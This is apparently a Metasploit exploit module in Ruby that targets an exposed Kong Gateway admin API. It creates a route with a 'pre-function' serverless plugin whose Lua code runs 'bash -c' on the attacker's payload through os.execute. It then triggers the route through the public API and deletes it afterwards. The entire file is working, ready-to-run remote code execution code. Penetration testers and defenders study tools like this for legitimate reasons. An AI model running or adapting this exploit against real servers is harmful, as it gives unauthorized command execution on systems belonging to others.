# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => 'Kong Gateway Admin API Remote Code Execution', 'Description' => ' This module uses the Kong admin API to create a route and a serverless function plugin that is associated with the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the route is deleted, which also deletes the plugin.', 'License' => MSF_LICENSE, 'Author' => ['Graeme Robinson'], 'References' => [ ['URL', 'https://konghq.com/'], ['URL', 'https://github.com/Kong/kong'], ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/'] ], 'Platform' => %w[linux macos], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [[ 'Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory ]], 'Privileged' => false, 'DisclosureDate' => 'Oct 13 2020', 'DefaultOptions' => { 'RPORT' => 8001 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } )) register_options( [ OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']), OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]), OptString.new('TARGETURI', [true, 'URI to the Kong server', '/']) ], self.class ) end def check_response(response, expected, path, description) fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response return if response.code == expected fail_with(Failure::UnexpectedReply, "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})") end def create_route path = normalize_uri(target_uri.path, 'routes') response = send_request_cgi({ 'method' => 'POST', 'uri' => path, 'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name } }) check_response(response, 201, path, 'creating route') end def create_plugin # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang. cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])} path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins') response = send_request_cgi({ 'method' => 'POST', 'uri' => path, 'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } }) check_response(response, 201, path, 'creating plugin') end def request_route path = normalize_uri(target_uri.path, @rand_name) rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST'] rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT'] retry_count = 0 begin response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport }) check_response(response, 503, path, 'requesting route') rescue Msf::Exploit::Failed maximum_retries = 3 if retry_count <= maximum_retries retry_count += 1 print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}") sleep(retry_count**2) retry end raise end end def delete_route path = normalize_uri(target_uri.path, 'routes', @rand_name) # Delete it response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path }) check_response(response, 204, path, 'deleting route') # Check Whether it deleted response = send_request_cgi({ 'uri' => path }) check_response(response, 404, path, 'verifying that route has been deleted') end def check @route_cleanup_required = false # Check admin API response = send_request_cgi return CheckCode::Unknown unless response return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong' # Check public API rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST'] rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT'] path = normalize_uri(target_uri.path, @rand_name) response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path }) return CheckCode::Unknown unless response return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values' CheckCode::Appears end def exploit @rand_name = rand_text_alphanumeric(10) @route_cleanup_required = false fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears @route_cleanup_required = true create_route vprint_good("Created route #{@rand_name}") create_plugin vprint_good("Created plugin for route #{@rand_name}") request_route vprint_good("Requested route #{@rand_name} using public API") end def cleanup return unless @route_cleanup_required delete_route vprint_good("Deleted route #{@rand_name}") end end